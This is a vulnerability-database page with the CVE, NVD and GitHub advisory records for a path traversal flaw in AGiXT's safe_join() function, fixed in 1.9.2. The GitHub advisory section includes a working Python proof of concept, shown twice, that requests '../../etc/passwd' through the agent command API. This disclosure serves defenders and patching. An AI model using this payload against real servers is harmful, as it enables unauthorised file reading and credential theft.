Vulnerability-Lookup

CVE-2026-39981 (GCVE-0-2026-39981)

Vulnerability from cvelistv5 – Published: 2026-04-09 17:01 – Updated: 2026-04-13 20:10

Title

AGiXT has a Path Traversal in safe_join()

Summary

AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/Josh-XT/AGiXT/security/advisor…	x_refsource_CONFIRM
https://github.com/Josh-XT/AGiXT/commit/2079ea5a8…	x_refsource_MISC
https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Josh-XT	AGiXT	Affected: < 1.9.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-39981",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-13T20:10:01.620594Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-13T20:10:13.881Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AGiXT",
          "vendor": "Josh-XT",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.9.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-09T17:01:27.069Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw"
        },
        {
          "name": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f"
        },
        {
          "name": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2"
        }
      ],
      "source": {
        "advisory": "GHSA-5gfj-64gh-mgmw",
        "discovery": "UNKNOWN"
      },
      "title": "AGiXT has a Path Traversal in safe_join()"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-39981",
    "datePublished": "2026-04-09T17:01:27.069Z",
    "dateReserved": "2026-04-08T00:01:47.628Z",
    "dateUpdated": "2026-04-13T20:10:13.881Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-39981",
      "date": "2026-07-03",
      "epss": "0.01318",
      "percentile": "0.67341"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-39981\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-04-09T18:17:02.350\",\"lastModified\":\"2026-06-17T10:42:51.013\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"Josh-XT\",\"product\":\"AGiXT\",\"versions\":[{\"version\":\"\u003c 1.9.2\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":5.9}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-04-13T20:10:01.620594Z\",\"id\":\"CVE-2026-39981\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:agixt:agixt:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"1.9.2\",\"matchCriteriaId\":\"6F449F33-93CD-4458-90EA-D08F96F8B919\"}]}]}],\"references\":[{\"url\":\"https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\",\"Release Notes\"]},{\"url\":\"https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-39981\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-04-13T20:10:01.620594Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-04-13T20:10:09.959Z\"}}], \"cna\": {\"title\": \"AGiXT has a Path Traversal in safe_join()\", \"source\": {\"advisory\": \"GHSA-5gfj-64gh-mgmw\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"Josh-XT\", \"product\": \"AGiXT\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 1.9.2\"}]}], \"references\": [{\"url\": \"https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw\", \"name\": \"https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f\", \"name\": \"https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2\", \"name\": \"https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-04-09T17:01:27.069Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-39981\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-04-13T20:10:13.881Z\", \"dateReserved\": \"2026-04-08T00:01:47.628Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-04-09T17:01:27.069Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-39981

Vulnerability from fkie_nvd - Published: 2026-04-09 18:17 - Updated: 2026-06-17 10:42

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f	Patch
security-advisories@github.com	https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2	Product, Release Notes
security-advisories@github.com	https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	agixt	agixt	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AGiXT",
          "vendor": "Josh-XT",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.9.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:agixt:agixt:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "6F449F33-93CD-4458-90EA-D08F96F8B919",
              "versionEndExcluding": "1.9.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2."
    }
  ],
  "id": "CVE-2026-39981",
  "lastModified": "2026-06-17T10:42:51.013",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-39981",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-13T20:10:01.620594Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-09T18:17:02.350",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-5GFJ-64GH-MGMW

Vulnerability from github – Published: 2026-04-08 20:02 – Updated: 2026-04-09 19:06

Summary

AGiXT Vulnerable to Path Traversal in safe_join()

Details

Summary

The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

Details

agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)

# source
command_args = command.command_args

# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)

# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))

PoC

# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1

import requests

BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"

headers = {"Authorization": f"Bearer {TOKEN}"}

payload = {
    "command_name": "read_file",
    "command_args": {
        "filename": "../../etc/passwd"
    }
}

r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...

Impact

Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "agixt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T20:02:01Z",
    "nvd_published_at": "2026-04-09T18:17:02Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.\n\n### Details\n`agixt/endpoints/Extension.py:165` (source) -\u003e `agixt/XT.py:1035` (hop) -\u003e `agixt/extensions/essential_abilities.py:436` (sink)\n\n```python\n# source\ncommand_args = command.command_args\n\n# hop\nresponse = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)\n\n# sink\nnew_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split(\"/\")))\n```\n### PoC\n \n```python\n# tested on: agixt\u003c=1.9.1\n# install: pip install agixt==1.9.1\n \nimport requests\n \nBASE = \"http://localhost:7437\"\nTOKEN = \"\u003cyour_api_key\u003e\"\n \nheaders = {\"Authorization\": f\"Bearer {TOKEN}\"}\n \npayload = {\n    \"command_name\": \"read_file\",\n    \"command_args\": {\n        \"filename\": \"../../etc/passwd\"\n    }\n}\n \nr = requests.post(f\"{BASE}/api/agent/MyAgent/command\", json=payload, headers=headers)\nprint(r.text)\n# expected output: root:x:0:0:root:/root:/bin/bash ...\n```\n \n### Impact\n \nAuthenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.",
  "id": "GHSA-5gfj-64gh-mgmw",
  "modified": "2026-04-09T19:06:04Z",
  "published": "2026-04-08T20:02:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39981"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Josh-XT/AGiXT"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AGiXT Vulnerable to Path Traversal in safe_join()"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-39981 (GCVE-0-2026-39981)

FKIE_CVE-2026-39981

GHSA-5GFJ-64GH-MGMW

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature